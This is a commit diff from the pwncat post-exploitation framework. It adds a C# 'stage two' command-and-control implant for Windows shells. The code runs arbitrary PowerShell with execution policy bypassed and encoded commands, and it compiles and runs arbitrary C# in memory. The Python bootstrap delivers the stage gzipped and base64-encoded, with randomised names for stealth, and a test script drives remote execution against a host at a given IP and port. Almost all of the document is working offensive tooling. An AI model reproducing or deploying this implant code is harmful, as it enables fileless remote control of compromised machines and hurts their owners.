1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Added proper stagetwo source with basic C# and powershell commands

This commit is contained in:
Caleb Stewart 2021-01-01 18:53:13 -05:00
parent 96292b17d4
commit 274611263e
5 changed files with 257 additions and 39 deletions

View File

@ -11,6 +11,7 @@ public static class ConPtyShell
private const string errorString = "{{{ConPtyShellException}}}\r\n"; private const string errorString = "{{{ConPtyShellException}}}\r\n";
private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004; private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004;
private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008; private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008;
private const uint ENABLE_WRAP_AT_EOL_OUTPUT = 0x0002;
private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016; private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016;
private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
private const uint CREATE_NO_WINDOW = 0x08000000; private const uint CREATE_NO_WINDOW = 0x08000000;
@ -236,21 +237,11 @@ public static class ConPtyShell
throw new InvalidOperationException("Could not get console mode"); throw new InvalidOperationException("Could not get console mode");
} }
outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN; outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
outConsoleMode &= ~ENABLE_WRAP_AT_EOL_OUTPUT;
if (!SetConsoleMode(hStdOut, outConsoleMode)) if (!SetConsoleMode(hStdOut, outConsoleMode))
{ {
throw new InvalidOperationException("Could not enable virtual terminal processing"); throw new InvalidOperationException("Could not enable virtual terminal processing");
} }
IntPtr hStdIn = GetStdHandle(STD_INPUT_HANDLE);
if (!GetConsoleMode(hStdIn, out outConsoleMode))
{
throw new InvalidOperationException("Could not get console mode");
}
outConsoleMode |= 0x0004 | 0x0001 | 0x0200;
if (!SetConsoleMode(hStdIn, outConsoleMode))
{
throw new InvalidOperationException("Could not enable virtual terminal processing");
}
} }
private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){ private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){

78
pwncat/data/stagetwo.cs Normal file
View File

@ -0,0 +1,78 @@
class StageTwo
{
public System.String ReadUntilLine(System.String delimeter)
{
System.Text.StringBuilder builder = new System.Text.StringBuilder();
while (true)
{
System.String line = System.Console.ReadLine();
if (line == delimeter)
{
break;
}
builder.AppendLine(line);
}
return builder.ToString();
}
public void main()
{
object[] args = new object[] { };
System.Console.WriteLine("READY");
while (true)
{
System.String line = System.Console.ReadLine();
var method = GetType().GetMethod(line);
if (method == null) continue;
method.Invoke(this, args);
}
}
public void powershell()
{
var command = System.Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(ReadUntilLine("# ENDBLOCK")));
var startinfo = new System.Diagnostics.ProcessStartInfo()
{
FileName = "powershell.exe",
Arguments = "-noprofile -ep unrestricted -enc " + command,
UseShellExecute = false
};
var p = System.Diagnostics.Process.Start(startinfo);
p.WaitForExit();
}
public void csharp()
{
var cp = new System.CodeDom.Compiler.CompilerParameters()
{
GenerateExecutable = false,
GenerateInMemory = true,
};
while (true)
{
System.String line = System.Console.ReadLine();
if (line == "/* ENDASM */") break;
cp.ReferencedAssemblies.Add(line);
}
cp.ReferencedAssemblies.Add("System.dll");
cp.ReferencedAssemblies.Add("System.Core.dll");
cp.ReferencedAssemblies.Add("System.Dynamic.dll");
cp.ReferencedAssemblies.Add("Microsoft.CSharp.dll");
var r = new Microsoft.CSharp.CSharpCodeProvider().CompileAssemblyFromSource(cp, ReadUntilLine("/* ENDBLOCK */"));
if (r.Errors.HasErrors)
{
return;
}
var obj = r.CompiledAssembly.CreateInstance("command");
obj.GetType().GetMethod("main").Invoke(obj, new object[] { });
}
}

View File

@ -1,13 +1,18 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
from io import TextIOWrapper, BufferedIOBase, UnsupportedOperation from io import TextIOWrapper, BufferedIOBase, UnsupportedOperation
from typing import List
from io import StringIO, BytesIO
import textwrap
import pkg_resources import pkg_resources
import pathlib import pathlib
import base64 import base64
import time import time
import gzip
import os import os
import pwncat import pwncat
import pwncat.subprocess import pwncat.subprocess
import pwncat.util
from pwncat.platform import Platform, PlatformError, Path from pwncat.platform import Platform, PlatformError, Path
@ -16,6 +21,22 @@ class PopenWindows(pwncat.subprocess.Popen):
Windows-specific Popen wrapper class Windows-specific Popen wrapper class
""" """
def __init__(
self,
platform: Platform,
args,
stdout,
stdin,
text,
encoding,
errors,
bufsize,
start_delim: bytes,
end_delim: bytes,
code_delim: bytes,
):
super().__init__()
class WindowsReader(BufferedIOBase): class WindowsReader(BufferedIOBase):
""" """
@ -37,6 +58,13 @@ class Windows(Platform):
established with an open powershell session.""" established with an open powershell session."""
PATH_TYPE = pathlib.PureWindowsPath PATH_TYPE = pathlib.PureWindowsPath
LIBRARY_IMPORTS = {
"Kernel32": [
"IntPtr GetStdHandle(int nStdHandle)",
"bool GetConsoleMode(IntPtr hConsoleHandle, out uint lpMode)",
"bool SetConsoleMode(IntPtr hConsoleHandle, uint lpMode)",
]
}
def __init__( def __init__(
self, self,
@ -56,13 +84,119 @@ class Windows(Platform):
# Most Windows connections aren't capable of a PTY, and checking # Most Windows connections aren't capable of a PTY, and checking
# is difficult this early. We will assume there isn't one. # is difficult this early. We will assume there isn't one.
self.has_pty = False self.has_pty = True
# Trigger allocation of a pty. Because of powershell and windows # Trigger allocation of a pty. Because of powershell and windows
# being unpredictable and weird, we basically *need* this. So, # being unpredictable and weird, we basically *need* this. So,
# we trigger it initially. WinAPI is available everywhere so on # we trigger it initially. WinAPI is available everywhere so on
# any relatively recent version of windows, this should be fine. # any relatively recent version of windows, this should be fine.
self.get_pty() # self.get_pty()
self._bootstrap_stage_two()
# Load requested libraries
# for library, methods in self.LIBRARY_IMPORTS.items():
# self._load_library(library, methods)
def _bootstrap_stage_two(self):
"""This takes the stage one C2 (powershell) and boostraps it for stage
two. Stage two is C# code dynamically compiled and executed. We first
execute a small C# payload from Powershell which then infinitely accepts
more C# to be executed. Further payloads are separated by the delimeters:
- "/* START CODE BLOCK */"
- "/* END CODE BLOCK */"
"""
# Read stage two source code
stage_two_path = pkg_resources.resource_filename("pwncat", "data/stagetwo.cs")
with open(stage_two_path, "rb") as filp:
source = filp.read()
# Randomize class and method name for a smidge of anonymity
clazz = pwncat.util.random_string(8)
main = pwncat.util.random_string(8)
source = source.replace(b"class StageTwo", b"class " + clazz.encode("utf-8"))
source = source.replace(
b"public void main", b"public void " + main.encode("utf-8")
)
# compress and encode source
source_gz = BytesIO()
with gzip.GzipFile(fileobj=source_gz, mode="wb") as gz:
gz.write(source)
source_enc = base64.b64encode(source_gz.getvalue())
# List of needed assemblies for stage two
needed_assemblies = [
"System.dll",
"System.Core.dll",
"System.Dynamic.dll",
"Microsoft.CSharp.dll",
]
# List of commands in the payload to bootstrap stage two
payload = [
"$cp = New-Object System.CodeDom.Compiler.CompilerParameters",
]
# Add all needed assemblies to the compiler parameters
for assembly in needed_assemblies:
payload.append(f"""$cp.ReferencedAssemblies.Add("{assembly}")""")
# Compile our C2 code and execute it
payload.extend(
[
"$cp.GenerateExecutable = $false",
"$cp.GenerateInMemory = $true",
"$gzb = [System.Convert]::FromBase64String((Read-Host))",
"$gzms = New-Object System.IO.MemoryStream -ArgumentList @(,$gzb)",
"$gz = New-Object System.IO.Compression.GzipStream $gzms, ([IO.Compression.CompressionMode]::Decompress)",
f"$source = New-Object byte[]({len(source)})",
f"$gz.Read($source, 0, {len(source)})",
"$gz.Close()",
"$r = (New-Object Microsoft.CSharp.CSharpCodeProvider).CompileAssemblyFromSource($cp, [System.Text.Encoding]::ASCII.GetString($source))",
f"""$r.CompiledAssembly.CreateInstance("{clazz}").{main}()""",
]
)
# Send the payload, then send the encoded and compressed code
self.channel.send((";".join(payload)).encode("utf-8") + b"\n")
self.channel.send(source_enc + b"\n")
# Wait for the new C2 to be ready
self.channel.recvuntil(b"READY")
def _load_library(self, name: str, methods: List[str]):
"""Load the library. This adds a global with the same name as `name`
which contains a reference to the library with all methods specified in
`mehods` loaded."""
name = name.encode("utf-8")
method_def = b""
for method in methods:
method = method.encode("utf-8")
# self.channel.send(
method_def += (
b'[DllImport(`"'
+ name
+ b'.dll`", SetLastError = true)]`npublic static extern '
+ method
+ b";`n"
)
command = (
b"$"
+ name
+ b' = Add-Type -MemberDefinition "'
+ method_def
+ b"\" -Name '"
+ name
+ b"' -Namespace 'Win32' -PassThru\n"
)
self.channel.send(command)
self.session.manager.log(command.decode("utf-8").strip())
def get_pty(self): def get_pty(self):
""" Spawn a PTY in the current shell. """ """ Spawn a PTY in the current shell. """
@ -91,7 +225,6 @@ class Windows(Platform):
for idx in range(0, len(source), CHUNK_SZ): for idx in range(0, len(source), CHUNK_SZ):
chunk = source[idx : idx + CHUNK_SZ] chunk = source[idx : idx + CHUNK_SZ]
self.channel.send(b'$source = $source + "' + chunk + b'"\n') self.channel.send(b'$source = $source + "' + chunk + b'"\n')
time.sleep(0.1)
# decode the source # decode the source
self.channel.send( self.channel.send(
@ -109,9 +242,6 @@ class Windows(Platform):
+ b"\n" + b"\n"
) )
self.channel.recvuntil(b"> ")
self.channel.send(b"\n")
self.has_pty = True self.has_pty = True
def get_host_hash(self): def get_host_hash(self):
@ -124,6 +254,8 @@ class Windows(Platform):
@interactive.setter @interactive.setter
def interactive(self, value): def interactive(self, value):
return
if value: if value:
command = ( command = (
@ -138,13 +270,10 @@ class Windows(Platform):
"}", "}",
] ]
) )
+ "\r\r" + "\r"
) )
self.logger.info(command.rstrip("\n")) self.logger.info(command.rstrip("\n"))
self.channel.send(command.encode("utf-8")) self.channel.send(command.encode("utf-8"))
self.channel.recvuntil(b"$")
self.channel.recvuntil(b"\n")
return return

View File

@ -242,7 +242,9 @@ def with_progress(title: str, target: Callable[[Callable], None], length: int =
def random_string(length: int = 8): def random_string(length: int = 8):
""" Create a random alphanumeric string """ """ Create a random alphanumeric string """
return "".join(random.choice(ALPHANUMERIC) for _ in range(length)) return random.choice(string.ascii_letters) + "".join(
random.choice(ALPHANUMERIC) for _ in range(length - 1)
)
def enter_raw_mode(): def enter_raw_mode():

18
test.py
View File

@ -1,5 +1,6 @@
#!./env/bin/python #!./env/bin/python
import pwncat.manager import pwncat.manager
import time
# Create a manager # Create a manager
manager = pwncat.manager.Manager("data/pwncatrc") manager = pwncat.manager.Manager("data/pwncatrc")
@ -7,4 +8,21 @@ manager = pwncat.manager.Manager("data/pwncatrc")
# Establish a session # Establish a session
session = manager.create_session("windows", host="192.168.122.11", port=4444) session = manager.create_session("windows", host="192.168.122.11", port=4444)
session.platform.channel.send(
b"""
csharp
/* ENDASM */
class command {
public void main()
{
System.Console.WriteLine("We can execute C# Now!");
}
}
/* ENDBLOCK */
powershell
Write-Host "And we can execute powershell!"
# ENDBLOCK
"""
)
manager.interactive() manager.interactive()